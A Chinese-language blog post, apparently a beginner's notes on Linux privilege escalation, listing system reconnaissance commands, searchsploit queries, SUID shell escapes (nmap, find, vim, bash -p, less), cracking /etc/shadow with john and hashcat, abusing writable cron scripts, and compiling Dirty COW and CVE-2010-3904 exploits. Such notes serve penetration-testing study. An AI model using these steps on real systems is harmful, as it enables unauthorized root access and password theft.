0%

linux提权之新手指南

这篇文章主要是给自己做个笔记,方便提权时查找漏掉一些东西,然后本人也是开始学习提权的思路和过程,并没有太多的骚姿势分享给大家,所以本文适合小白吧。

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
id
#查看当前用户权限

uname -a
#Linux - 内核名
#audit - 主机名
#2.6.18-128.el5 - 内核版本
#1 SMP Wed Jan 21 10:41:14 ....2009 - 内核编译日期
#x86_64 - 操作系统版本
#x86_64 - 处理器类型
#x86_64 - 硬件平台

#举个例子:
4.4.0-161-generic
#主版本.次版本.释出版本-修改版本

cat /proc/version
#同 uname -a的作用

searchsploit的使用

1
2
3
4
5
6
7
8
9
#例子如下,自己去学参数语法,不过一般下面这几句就够了
searchsploit linux priv esc 4.4 ubuntu 16 #priv esc 是为了匹配Privilege Escalation 即提权
//4.4.0 ubuntu 14
#使用--exclude=选项删除不想要的结果
searchsploit smb windows remote --exclude="(POC)|txt"

#搜索包含abcd的漏洞标题,默认不加参数即 -t 参数 空格隔开就犹如百度搜索的空格隔开
searchsploit -t abcd

suid提权

一般服务器不会安装乱七八糟的其他应用,所以一般不会有suid提权,但是也不可掉以轻心。因为提权就是要搜集信息,想尽一切办法。
常见可用于suid提权的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap

Vim

find

Bash

More

Less

Nano

cp

下面一一介绍各个工具的执行系统命令的例子。

查找符合条件的文件命令

1
2
3
4
#查找root权限的suid可执行文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

提权示例
nmap
老版的nmap(2.02-5.21)有相互的功能–interactive

1
2
3
nmap> !sh
sh-3.2# whoami
root

msf中也有相关的模块
exploit/unix/local/setuid_nmap
find
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

1
2
3
touch test
find test -exec whoami \;
vim

vim
如果vim以SUID运行,就会继承root用户的权限,可以读取系统中所有的文件

1
2
vim/vi
:shell

bash

1
2
bash -p
># id

less/more

1
2
less /etc/passwd
!/bin/sh

暴力破解

有时候密码简单的时候也可以进行暴力破解,但是局限性也是有的 root才能读取shadow,但是有时候网站配置不当我们可以读取或者网站的一些敏感的信息泄露。

暴力破解

1
2
3
4
5
6
7
8
# john 利用默认字典爆破,这里的shadow放置hash即可也可写入完整/etc/shadow内容
john --wordlist=/usr/share/john/password.lst ./shadow
#执行完毕后查看破解出的明文密码
john --show ./shadow

#hashcat 这里的shadow放置完善的hash即可
hashcat -m 1800 -o found1.txt --remove shadow /usr/share/john/password.lst
#此处需要把linux 密码的hash提取出来放到一个文档重 然后查看输出 found1.txt即可

mimipenguin

和mimikatz 一样 从内存读取密码,但是也是需要很高的权限,很少用。

计划任务 - cron

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

1
ls -l /etc/cron*

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了,当然几率也比较小。

exp编译

1
2
3
4
#一般的exp编译
gcc test.c -o test
#dirtycow exp 编译
gcc -pthread dirty.c -o dirty -lcrypt

常用的exp

dirty-cow
漏洞范围:
Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复,所以如果看到内核编译日期是2017年以后的一般不考虑脏牛提权)
EXP地址:
1、https://github.com/FireFart/dirtycow # 推荐用这个
2、https://github.com/gbonacini/CVE-2016-5195

1
2
1、gcc -pthread dirty.c -o dirty -lcrypt #1的exp -lcrypt 是调用crypt库进行编译就要加 -lcrypt -pthread同理
2、make #2的exp直接make

注意: dirtycow是通过修改root的用户名密码进行提权的,所以一定要记住备份原来的/etc/passwd,方便及时恢复。

CVE-2010-3904
漏洞范围:
Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
CVE-2010-3904

1
gcc 15285.c -o 15285

采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」